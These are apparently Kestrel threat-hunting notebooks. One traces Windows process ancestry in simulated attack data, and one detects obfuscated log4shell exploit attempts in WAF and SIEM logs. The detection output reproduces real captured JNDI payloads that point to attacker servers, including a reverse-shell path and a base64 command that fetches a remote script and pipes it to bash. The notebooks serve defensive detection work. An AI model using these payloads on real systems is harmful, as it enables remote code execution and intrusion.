\n", 159 | "

Block Executed in 1 seconds

\n", 160 | " \n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
parentsprocess111458099131005808185417809809

*Number of related records cached.

" 193 | ] 194 | }, 195 | "metadata": {}, 196 | "output_type": "display_data" 197 | } 198 | ], 199 | "source": [ 200 | "parents = FIND process CREATED ps\n", 201 | "DISP parents ATTR pid, name, command_line, parent_ref.pid, parent_ref.binary_ref.name" 202 | ] 203 | }, 204 | { 205 | "cell_type": "markdown", 206 | "id": "8e2e99dc", 207 | "metadata": {}, 208 | "source": [ 209 | "The parent process is `mshta.exe` - the Microsoft HTML Application Host. This program can be used to run VBScript (as it's doing here), among other things. It has been known to be used in \"living off the land\" attacks (see https://attack.mitre.org/techniques/T1218/005/ to read about this particular usage).\n", 210 | "\n", 211 | "Can we take another step up the tree?" 212 | ] 213 | }, 214 | { 215 | "cell_type": "code", 216 | "execution_count": 3, 217 | "id": "737d1dfa", 218 | "metadata": {}, 219 | "outputs": [ 220 | { 221 | "name": "stderr", 222 | "output_type": "stream", 223 | "text": [] 224 | }, 225 | { 226 | "data": { 227 | "text/html": [ 228 | "\n", 229 | " \n", 230 | " \n", 231 | " \n", 232 | " \n", 233 | " \n", 234 | " \n", 235 | " \n", 236 | " \n", 237 | " \n", 238 | " \n", 239 | " \n", 240 | " \n", 241 | " \n", 242 | " \n", 243 | " \n", 244 | " \n", 245 | " \n", 246 | " \n", 247 | " \n", 248 | " \n", 249 | " \n", 250 | " \n", 251 | " \n", 252 | " \n", 253 | " \n", 254 | "
pidnamecommand_lineparent_ref.pidparent_ref.binary_ref.name
5888cmd.exeNoneNoneNone
5888cmd.exe\"C:\\windows\\system32\\cmd.exe\"NoneNone
\n", 255 | "

Block Executed in 1 seconds

\n", 256 | " \n", 257 | " \n", 258 | " \n", 259 | " \n", 260 | " \n", 261 | " \n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | " \n", 268 | " \n", 269 | " \n", 270 | " \n", 271 | " \n", 272 | " \n", 273 | " \n", 274 | " \n", 275 | " \n", 276 | " \n", 277 | " \n", 278 | " \n", 279 | " \n", 280 | " \n", 281 | " \n", 282 | " \n", 283 | " \n", 284 | " \n", 285 | " \n", 286 | " \n", 287 | " \n", 288 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
grandparentsprocess251441502431483119144144

*Number of related records cached.

" 289 | ] 290 | }, 291 | "metadata": {}, 292 | "output_type": "display_data" 293 | } 294 | ], 295 | "source": [ 296 | "grandparents = FIND process CREATED parents\n", 297 | "DISP grandparents ATTR pid, name, command_line, parent_ref.pid, parent_ref.binary_ref.name" 298 | ] 299 | }, 300 | { 301 | "cell_type": "markdown", 302 | "id": "edabfaa6", 303 | "metadata": {}, 304 | "source": [ 305 | "So `mshta.exe` was run by `cmd.exe`, but here we hit a dead end. There's no further info in this data, and if we read the description of how this data was generated we see that `cmd.exe` was run manually in the adversarial simulation." 306 | ] 307 | }, 308 | { 309 | "cell_type": "code", 310 | "execution_count": null, 311 | "id": "b778d203", 312 | "metadata": {}, 313 | "outputs": [], 314 | "source": [] 315 | } 316 | ], 317 | "metadata": { 318 | "kernelspec": { 319 | "display_name": "Kestrel", 320 | "language": "kestrel", 321 | "name": "kestrel" 322 | }, 323 | "language_info": { 324 | "codemirror_mode": "kestrel", 325 | "name": "Kestrel" 326 | } 327 | }, 328 | "nbformat": 4, 329 | "nbformat_minor": 5 330 | } 331 | -------------------------------------------------------------------------------- /huntbooks/log4shell Detection.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "ace59e54", 6 | "metadata": {}, 7 | "source": [ 8 | "# log4shell\n", 9 | "\n", 10 | "### References\n", 11 | "- https://www.lunasec.io/docs/blog/log4j-zero-day/\n", 12 | "- https://nvd.nist.gov/vuln/detail/CVE-2021-44228\n", 13 | "\n", 14 | "Search payloads (`artifact:payload_bin`, which *could* be base64 logs, depending on the data source) for obfuscated log4shell exploit attempts.\n", 15 | "\n", 16 | "Exploit attempts involve the attacker inserting special strings into an application (e.g. specially crafter user agent string in an HTTP request) that she knows will be logged. If that application uses a vulnerable version of log4j, it will attempt to interpret these special strings, leading to the RCE.\n", 17 | "\n", 18 | "The strings are of the form `${jndi:ldap://example.com/path}`. Other schemes besides ldap, such as dns, rmi, etc. can be used as well. The strings can be obfuscated with other \"property substition\" constructs, like `${lower:J}` which, when evaluated, returns `j`.\n", 19 | "\n", 20 | "The detection logic here attempts to pick out strings like `${...}` and parse/interpret them to deobfuscate. The parser will either give up or return the deobfuscated JNDI string, so you can inspect the target (which might help reduce false positives, or help you collect attack server URIs)." 21 | ] 22 | }, 23 | { 24 | "cell_type": "markdown", 25 | "id": "f2772694", 26 | "metadata": {}, 27 | "source": [ 28 | "## Step 1: collect some data\n", 29 | "\n", 30 | "This notebook uses a STIX bundle with real exploit data, hosted on github. You can replace that URL with your own stix-shifter data source config to search any supported data source.\n", 31 | "\n", 32 | "The regular expression used in the STIX pattern, `.*` is perhaps overly broad. You should tailor it to your environment." 33 | ] 34 | }, 35 | { 36 | "cell_type": "code", 37 | "execution_count": 1, 38 | "id": "23114819", 39 | "metadata": {}, 40 | "outputs": [ 41 | { 42 | "data": { 43 | "text/html": [ 44 | "

Block Executed in 1 seconds

\n", 45 | " \n", 46 | " \n", 47 | " \n", 48 | " \n", 49 | " \n", 50 | " \n", 51 | " \n", 52 | " \n", 53 | " \n", 54 | " \n", 55 | " \n", 56 | " \n", 57 | " \n", 58 | " \n", 59 | " \n", 60 | " \n", 61 | " \n", 62 | " \n", 63 | " \n", 64 | " \n", 65 | " \n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*ipv4-addr*mac-addr*network-traffic*x-ibm-finding*x-oca-event*x-qradar*
logsartifact10100302010101010

*Number of related records cached.

" 76 | ] 77 | }, 78 | "metadata": {}, 79 | "output_type": "display_data" 80 | } 81 | ], 82 | "source": [ 83 | "logs = GET artifact FROM https://raw.githubusercontent.com/opencybersecurityalliance/kestrel-analytics/release/testdata/log4shell_bundle.json\n", 84 | " WHERE [artifact:payload_bin MATCHES '.*']" 85 | ] 86 | }, 87 | { 88 | "cell_type": "markdown", 89 | "id": "e6d95672", 90 | "metadata": {}, 91 | "source": [ 92 | "## Step 2: apply detection logic\n", 93 | "\n", 94 | "Now run the \"analytic\" to try and pick out exploit attempts. It will add an `exploit` attribute to each entity in the `logs` variable. If an exploit attempt is found in that payload, it will be deobfuscated and added to the entity.\n", 95 | "It will also add the base64-decoded payload as `original`." 96 | ] 97 | }, 98 | { 99 | "cell_type": "code", 100 | "execution_count": 2, 101 | "id": "b87945e9", 102 | "metadata": {}, 103 | "outputs": [ 104 | { 105 | "data": { 106 | "text/html": [] 107 | }, 108 | "metadata": {}, 109 | "output_type": "display_data" 110 | } 111 | ], 112 | "source": [ 113 | "APPLY python://log4shell-deobfuscation-and-detection ON logs" 114 | ] 115 | }, 116 | { 117 | "cell_type": "markdown", 118 | "id": "c9ecef37", 119 | "metadata": {}, 120 | "source": [ 121 | "## Step 3: filter\n", 122 | "\n", 123 | "Now filter the enriched `logs` variable so that only entities with non-NULL `exploit` attributes remain. The display those for manual inspection." 124 | ] 125 | }, 126 | { 127 | "cell_type": "code", 128 | "execution_count": 6, 129 | "id": "29078d28", 130 | "metadata": {}, 131 | "outputs": [ 132 | { 133 | "data": { 134 | "text/html": [ 135 | "\n", 136 | " \n", 137 | " \n", 138 | " \n", 139 | " \n", 140 | " \n", 141 | " \n", 142 | " \n", 143 | " \n", 144 | " \n", 145 | " \n", 146 | " \n", 147 | " \n", 148 | " \n", 149 | " \n", 150 | " \n", 151 | " \n", 152 | " \n", 153 | " \n", 154 | " \n", 155 | " \n", 156 | " \n", 157 | " \n", 158 | " \n", 159 | " \n", 160 | " \n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | "
idfirst_observedexploitoriginal
artifact--1059326b-6737-470d-b04b-060c56001db8_102021-12-15T09:28:41.056Z\\${jndi:ldap://162.55.90.26/876014912/c}{\"timestamp\":1639560351919,\"formatVersion\":1,\"webaclId\":\"arn:aws:wafv2:us-east-1:920294754780:regional/webacl/AWS-Test-WAF/cff90920-8de1-458f-a021-813c92c9ab2e\",\"terminatingRuleId\":\"AWS-AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRuleType\":\"MANAGED_RULE_GROUP\",\"action\":\"BLOCK\",\"terminatingRuleMatchDetails\":[],\"httpSourceName\":\"ALB\",\"httpSourceId\":\"920294754780-app/Test-Load-Balancer/ef5a918154bdeb50\",\"ruleGroupList\":[{\"ruleGroupId\":\"AWS#AWSManagedRulesCommonRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRule\":{\"ruleId\":\"Log4JRCE\",\"action\":\"BLOCK\",\"ruleMatchDetails\":null},\"nonTerminatingMatchingRules\":[],\"excludedRules\":null}],\"rateBasedRuleList\":[],\"nonTerminatingMatchingRules\":[],\"requestHeadersInserted\":null,\"responseCodeSent\":null,\"httpRequest\":{\"clientIp\":\"157.90.35.190\",\"country\":\"DE\",\"headers\":[{\"name\":\"Host\",\"value\":\"127.0.0.1\"},{\"name\":\"User-Agent\",\"value\":\"\\${jndi:ldap://162.55.90.26/876014912/C}\"},{\"name\":\"Connection\",\"value\":\"Close\"}],\"uri\":\"/\",\"args\":\"\",\"httpVersion\":\"HTTP/1.1\",\"httpMethod\":\"GET\",\"requestId\":\"1-61b9b49f-63d3927e516da57a1b0f8931\"},\"labels\":[{\"name\":\"awswaf:managed:aws:known-bad-inputs:Log4JRCE\"}]}
artifact--1c270e5e-8862-4739-a6dd-14f237f746f4_102021-12-15T17:25:05.079Z\\${jndi:ldap://xf.world80.log4j.binaryedge.io:80/callback}Dec 15 12:25:04 127.0.0.1 [dylanh@72.185.253.5 (6378) /console/do/ariel/arielDetails] com.q1labs.core.shared.ariel.CustomKeyCreator: [WARN] [NOT:0000004000][172.31.79.90/- -] [-/- -]keyFromString failed. Expression for property Sender Host tried to return \\${jndi:\\${lower:l}\\${lower:d}a\\${lower:p}://xf.world80.log4j.bin\\${upper:a}ryedge.io:80/callback} as class com.q1labs.core.dao.util.Host. Check the custom property definition to ensure it is the proper type.\\n
artifact--2cd84670-2574-4da6-aa5e-06312fa73cac_102021-12-14T21:43:32.567Z\\${jndi:ldap://167.99.32.139:1389/basic/reverseshell/167.99.32.139/9999}{\"timestamp\":1639517866786,\"formatVersion\":1,\"webaclId\":\"arn:aws:wafv2:us-east-1:920294754780:regional/webacl/AWS-Test-WAF/cff90920-8de1-458f-a021-813c92c9ab2e\",\"terminatingRuleId\":\"AWS-AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRuleType\":\"MANAGED_RULE_GROUP\",\"action\":\"BLOCK\",\"terminatingRuleMatchDetails\":[],\"httpSourceName\":\"ALB\",\"httpSourceId\":\"920294754780-app/Test-Load-Balancer/ef5a918154bdeb50\",\"ruleGroupList\":[{\"ruleGroupId\":\"AWS#AWSManagedRulesCommonRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRule\":{\"ruleId\":\"Log4JRCE\",\"action\":\"BLOCK\",\"ruleMatchDetails\":null},\"nonTerminatingMatchingRules\":[],\"excludedRules\":null}],\"rateBasedRuleList\":[],\"nonTerminatingMatchingRules\":[],\"requestHeadersInserted\":null,\"responseCodeSent\":null,\"httpRequest\":{\"clientIp\":\"157.245.108.125\",\"country\":\"IN\",\"headers\":[{\"name\":\"User-Agent\",\"value\":\"borchuk/3.1 \\${jndi:ldap://167.99.32.139:1389/Basic/ReverseShell/167.99.32.139/9999}\"},{\"name\":\"Accept\",\"value\":\"*/*\"},{\"name\":\"Bearer\",\"value\":\"\\${jndi:ldap://167.99.32.139:1389/Basic/ReverseShell/167.99.32.139/9999}\"},{\"name\":\"Authentication\",\"value\":\"\\${jndi:ldap://167.99.32.139:1389/Basic/ReverseShell/167.99.32.139/9999}\"},{\"name\":\"X-Requested-With\",\"value\":\"\\${jndi:ldap://167.99.32.139:1389/Basic/ReverseShell/167.99.32.139/9999}\"},{\"name\":\"X-Requested-For\",\"value\":\"\\${jndi:ldap://167.99.32.139:1389/Basic/ReverseShell/167.99.32.139/9999}\"},{\"name\":\"X-Api-Version\",\"value\":\"\\${jndi:ldap://167.99.32.139:1389/Basic/ReverseShell/167.99.32.139/9999}\"}],\"uri\":\"/\",\"args\":\"\",\"httpVersion\":\"HTTP/1.0\",\"httpMethod\":\"GET\",\"requestId\":\"1-61b90eaa-50fc7e1501653a652d9a768d\"},\"labels\":[{\"name\":\"awswaf:managed:aws:known-bad-inputs:Log4JRCE\"}]}
artifact--31629b2f-2ea6-45b2-8a2c-af55e15ae224_102021-12-15T17:28:55.680Z\\${jndi:ldap://xf.world80.log4j.binaryedge.io:80/callback}Dec 15 12:28:55 127.0.0.1 [qw_4:078ef1bc-1d0b-4e67-8223-75bee730368c] com.q1labs.core.shared.ariel.CustomKeyCreator: [WARN] [NOT:0000004000][172.31.79.90/- -] [-/- -]keyFromString failed. Expression for property Sender Host tried to return \\${jndi:\\${lower:l}\\${lower:d}a\\${lower:p}://xf.world80.log4j.bin\\${upper:a}ryedge.io:80/callback} as class com.q1labs.core.dao.util.Host. Check the custom property definition to ensure it is the proper type.\\n
artifact--5915791-6a3a-4402-925d-78e38deff558_102021-12-15T06:05:21.456Z\\${jndi:ldap://xf.world80.log4j.binaryedge.io:80/callback}{\"timestamp\":1639548073714,\"formatVersion\":1,\"webaclId\":\"arn:aws:wafv2:us-east-1:920294754780:regional/webacl/AWS-Test-WAF/cff90920-8de1-458f-a021-813c92c9ab2e\",\"terminatingRuleId\":\"AWS-AWSManagedRulesAnonymousIpList\",\"terminatingRuleType\":\"MANAGED_RULE_GROUP\",\"action\":\"BLOCK\",\"terminatingRuleMatchDetails\":[],\"httpSourceName\":\"ALB\",\"httpSourceId\":\"920294754780-app/Test-Load-Balancer/ef5a918154bdeb50\",\"ruleGroupList\":[{\"ruleGroupId\":\"AWS#AWSManagedRulesCommonRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAmazonIpReputationList\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAnonymousIpList\",\"terminatingRule\":{\"ruleId\":\"HostingProviderIPList\",\"action\":\"BLOCK\",\"ruleMatchDetails\":null},\"nonTerminatingMatchingRules\":[],\"excludedRules\":null}],\"rateBasedRuleList\":[],\"nonTerminatingMatchingRules\":[],\"requestHeadersInserted\":null,\"responseCodeSent\":null,\"httpRequest\":{\"clientIp\":\"143.198.163.225\",\"country\":\"US\",\"headers\":[{\"name\":\"Host\",\"value\":\"52.54.237.64\"},{\"name\":\"User-Agent\",\"value\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\"},{\"name\":\"Accept-Encoding\",\"value\":\"gzip, deflate\"},{\"name\":\"Accept\",\"value\":\"*/*\"},{\"name\":\"Connection\",\"value\":\"keep-alive\"},{\"name\":\"X-Forwarded-For\",\"value\":\"\\${jndi:\\${lower:l}\\${lower:d}a\\${lower:p}://xf.world80.log4j.bin\\${upper:a}ryedge.io:80/callback}\"}],\"uri\":\"/favicon.ico\",\"args\":\"\",\"httpVersion\":\"HTTP/1.1\",\"httpMethod\":\"GET\",\"requestId\":\"1-61b984a9-5301351609d92fe42b211b96\"},\"labels\":[{\"name\":\"awswaf:managed:aws:anonymous-ip-list:HostingProviderIPList\"}]}
artifact--5ca8a77d-c592-488f-9278-3e0bb47e9014_102021-12-15T09:28:41.056Z\\${jndi:ldap://xf.world80.log4j.binaryedge.io:80/callback}{\"timestamp\":1639560195748,\"formatVersion\":1,\"webaclId\":\"arn:aws:wafv2:us-east-1:920294754780:regional/webacl/AWS-Test-WAF/cff90920-8de1-458f-a021-813c92c9ab2e\",\"terminatingRuleId\":\"AWS-AWSManagedRulesAnonymousIpList\",\"terminatingRuleType\":\"MANAGED_RULE_GROUP\",\"action\":\"BLOCK\",\"terminatingRuleMatchDetails\":[],\"httpSourceName\":\"ALB\",\"httpSourceId\":\"920294754780-app/Test-Load-Balancer/ef5a918154bdeb50\",\"ruleGroupList\":[{\"ruleGroupId\":\"AWS#AWSManagedRulesCommonRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAmazonIpReputationList\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAnonymousIpList\",\"terminatingRule\":{\"ruleId\":\"HostingProviderIPList\",\"action\":\"BLOCK\",\"ruleMatchDetails\":null},\"nonTerminatingMatchingRules\":[],\"excludedRules\":null}],\"rateBasedRuleList\":[],\"nonTerminatingMatchingRules\":[],\"requestHeadersInserted\":null,\"responseCodeSent\":null,\"httpRequest\":{\"clientIp\":\"165.22.196.189\",\"country\":\"NL\",\"headers\":[{\"name\":\"Host\",\"value\":\"52.54.237.64\"},{\"name\":\"User-Agent\",\"value\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\"},{\"name\":\"Accept-Encoding\",\"value\":\"gzip, deflate\"},{\"name\":\"Accept\",\"value\":\"*/*\"},{\"name\":\"Connection\",\"value\":\"keep-alive\"},{\"name\":\"X-Forwarded-For\",\"value\":\"\\${jndi:\\${lower:l}\\${lower:d}a\\${lower:p}://xf.world80.log4j.bin\\${upper:a}ryedge.io:80/callback}\"}],\"uri\":\"/favicon.ico\",\"args\":\"\",\"httpVersion\":\"HTTP/1.1\",\"httpMethod\":\"GET\",\"requestId\":\"1-61b9b403-162daff1157b64656da9b52e\"},\"labels\":[{\"name\":\"awswaf:managed:aws:anonymous-ip-list:HostingProviderIPList\"}]}
artifact--5f1d8d0f-af17-410a-b3c6-5a1a06936bf9_102021-12-15T06:05:21.456Z\\${jndi:ldap://xf.world80.log4j.binaryedge.io:80/callback}{\"timestamp\":1639548073259,\"formatVersion\":1,\"webaclId\":\"arn:aws:wafv2:us-east-1:920294754780:regional/webacl/AWS-Test-WAF/cff90920-8de1-458f-a021-813c92c9ab2e\",\"terminatingRuleId\":\"AWS-AWSManagedRulesAnonymousIpList\",\"terminatingRuleType\":\"MANAGED_RULE_GROUP\",\"action\":\"BLOCK\",\"terminatingRuleMatchDetails\":[],\"httpSourceName\":\"ALB\",\"httpSourceId\":\"920294754780-app/Test-Load-Balancer/ef5a918154bdeb50\",\"ruleGroupList\":[{\"ruleGroupId\":\"AWS#AWSManagedRulesCommonRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAmazonIpReputationList\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAnonymousIpList\",\"terminatingRule\":{\"ruleId\":\"HostingProviderIPList\",\"action\":\"BLOCK\",\"ruleMatchDetails\":null},\"nonTerminatingMatchingRules\":[],\"excludedRules\":null}],\"rateBasedRuleList\":[],\"nonTerminatingMatchingRules\":[],\"requestHeadersInserted\":null,\"responseCodeSent\":null,\"httpRequest\":{\"clientIp\":\"143.198.163.225\",\"country\":\"US\",\"headers\":[{\"name\":\"Host\",\"value\":\"52.54.237.64\"},{\"name\":\"User-Agent\",\"value\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\"},{\"name\":\"Accept-Encoding\",\"value\":\"gzip, deflate\"},{\"name\":\"Accept\",\"value\":\"*/*\"},{\"name\":\"Connection\",\"value\":\"keep-alive\"},{\"name\":\"X-Forwarded-For\",\"value\":\"\\${jndi:\\${lower:l}\\${lower:d}a\\${lower:p}://xf.world80.log4j.bin\\${upper:a}ryedge.io:80/callback}\"}],\"uri\":\"/\",\"args\":\"\",\"httpVersion\":\"HTTP/1.1\",\"httpMethod\":\"GET\",\"requestId\":\"1-61b984a9-60d5e538182cb28d3e910213\"},\"labels\":[{\"name\":\"awswaf:managed:aws:anonymous-ip-list:HostingProviderIPList\"}]}
artifact--821f09d3-3821-4ccc-b920-23dfe5cb6ce2_102021-12-15T17:30:32.631Z\\${jndi:ldap://xf.world80.log4j.binaryedge.io:80/callback}Dec 15 12:30:32 127.0.0.1 [dylanh@72.185.253.5 (736) /console/do/ariel/arielDetails] com.q1labs.core.shared.ariel.CustomKeyCreator: [WARN] [NOT:0000004000][172.31.79.90/- -] [-/- -]keyFromString failed. Expression for property Sender Host tried to return \\${jndi:\\${lower:l}\\${lower:d}a\\${lower:p}://xf.world80.log4j.bin\\${upper:a}ryedge.io:80/callback} as class com.q1labs.core.dao.util.Host. Check the custom property definition to ensure it is the proper type.\\n
artifact--8a105b95-4f51-4649-ab4a-99694e3455ba_102021-12-15T09:28:41.056Z\\${jndi:ldap://xf.world80.log4j.binaryedge.io:80/callback}{\"timestamp\":1639560195656,\"formatVersion\":1,\"webaclId\":\"arn:aws:wafv2:us-east-1:920294754780:regional/webacl/AWS-Test-WAF/cff90920-8de1-458f-a021-813c92c9ab2e\",\"terminatingRuleId\":\"AWS-AWSManagedRulesAnonymousIpList\",\"terminatingRuleType\":\"MANAGED_RULE_GROUP\",\"action\":\"BLOCK\",\"terminatingRuleMatchDetails\":[],\"httpSourceName\":\"ALB\",\"httpSourceId\":\"920294754780-app/Test-Load-Balancer/ef5a918154bdeb50\",\"ruleGroupList\":[{\"ruleGroupId\":\"AWS#AWSManagedRulesCommonRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAmazonIpReputationList\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesAnonymousIpList\",\"terminatingRule\":{\"ruleId\":\"HostingProviderIPList\",\"action\":\"BLOCK\",\"ruleMatchDetails\":null},\"nonTerminatingMatchingRules\":[],\"excludedRules\":null}],\"rateBasedRuleList\":[],\"nonTerminatingMatchingRules\":[],\"requestHeadersInserted\":null,\"responseCodeSent\":null,\"httpRequest\":{\"clientIp\":\"165.22.196.189\",\"country\":\"NL\",\"headers\":[{\"name\":\"Host\",\"value\":\"52.54.237.64\"},{\"name\":\"User-Agent\",\"value\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36\"},{\"name\":\"Accept-Encoding\",\"value\":\"gzip, deflate\"},{\"name\":\"Accept\",\"value\":\"*/*\"},{\"name\":\"Connection\",\"value\":\"keep-alive\"},{\"name\":\"X-Forwarded-For\",\"value\":\"\\${jndi:\\${lower:l}\\${lower:d}a\\${lower:p}://xf.world80.log4j.bin\\${upper:a}ryedge.io:80/callback}\"}],\"uri\":\"/\",\"args\":\"\",\"httpVersion\":\"HTTP/1.1\",\"httpMethod\":\"GET\",\"requestId\":\"1-61b9b403-527fa4f62360602574638179\"},\"labels\":[{\"name\":\"awswaf:managed:aws:anonymous-ip-list:HostingProviderIPList\"}]}
artifact--f98b3d32-08d7-4790-89ec-c036fb831894_102021-12-14T22:05:34.095Z\\${jndi:ldap://195.54.160.149:12344/basic/command/base64/kgn1cmwglxmgmtk1lju0lje2mc4xndk6ntg3nc81mi41nc4ymzcunjq6odb8fhdnzxqglxeglu8tide5ns41nc4xnjaumtq5oju4nzqvntiuntqumjm3ljy0ojgwkxxiyxno}{\"timestamp\":1639519206404,\"formatVersion\":1,\"webaclId\":\"arn:aws:wafv2:us-east-1:920294754780:regional/webacl/AWS-Test-WAF/cff90920-8de1-458f-a021-813c92c9ab2e\",\"terminatingRuleId\":\"AWS-AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRuleType\":\"MANAGED_RULE_GROUP\",\"action\":\"BLOCK\",\"terminatingRuleMatchDetails\":[],\"httpSourceName\":\"ALB\",\"httpSourceId\":\"920294754780-app/Test-Load-Balancer/ef5a918154bdeb50\",\"ruleGroupList\":[{\"ruleGroupId\":\"AWS#AWSManagedRulesCommonRuleSet\",\"terminatingRule\":null,\"nonTerminatingMatchingRules\":[],\"excludedRules\":null},{\"ruleGroupId\":\"AWS#AWSManagedRulesKnownBadInputsRuleSet\",\"terminatingRule\":{\"ruleId\":\"Log4JRCE\",\"action\":\"BLOCK\",\"ruleMatchDetails\":null},\"nonTerminatingMatchingRules\":[],\"excludedRules\":null}],\"rateBasedRuleList\":[],\"nonTerminatingMatchingRules\":[],\"requestHeadersInserted\":null,\"responseCodeSent\":null,\"httpRequest\":{\"clientIp\":\"195.54.160.149\",\"country\":\"RU\",\"headers\":[{\"name\":\"Host\",\"value\":\"52.54.237.64\"},{\"name\":\"User-Agent\",\"value\":\"\\${\\${::-j}\\${::-n}\\${::-d}\\${::-i}:\\${::-l}\\${::-d}\\${::-a}\\${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC81Mi41NC4yMzcuNjQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNTIuNTQuMjM3LjY0OjgwKXxiYXNo}\"},{\"name\":\"Referer\",\"value\":\"\\${jndi:\\${lower:l}\\${lower:d}\\${lower:a}\\${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC81Mi41NC4yMzcuNjQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNTIuNTQuMjM3LjY0OjgwKXxiYXNo}\"},{\"name\":\"Accept-Encoding\",\"value\":\"gzip\"},{\"name\":\"Connection\",\"value\":\"close\"}],\"uri\":\"/\",\"args\":\"x=\\${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC81Mi41NC4yMzcuNjQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNTIuNTQuMjM3LjY0OjgwKXxiYXNo}\",\"httpVersion\":\"HTTP/1.1\",\"httpMethod\":\"GET\",\"requestId\":\"1-61b913e6-6c1f91d614cef3e542ed7846\"},\"labels\":[{\"name\":\"awswaf:managed:aws:known-bad-inputs:Log4JRCE\"}]}
\n", 207 | "

Block Executed in 1 seconds

\n", 208 | " \n", 209 | " \n", 210 | " \n", 211 | " \n", 212 | " \n", 213 | " \n", 214 | " \n", 215 | " \n", 216 | " \n", 217 | " \n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | " \n", 227 | " \n", 228 | " \n", 229 | " \n", 230 | " \n", 231 | " \n", 232 | " \n", 233 | " \n", 234 | " \n", 235 | " \n", 236 | " \n", 237 | " \n", 238 | "
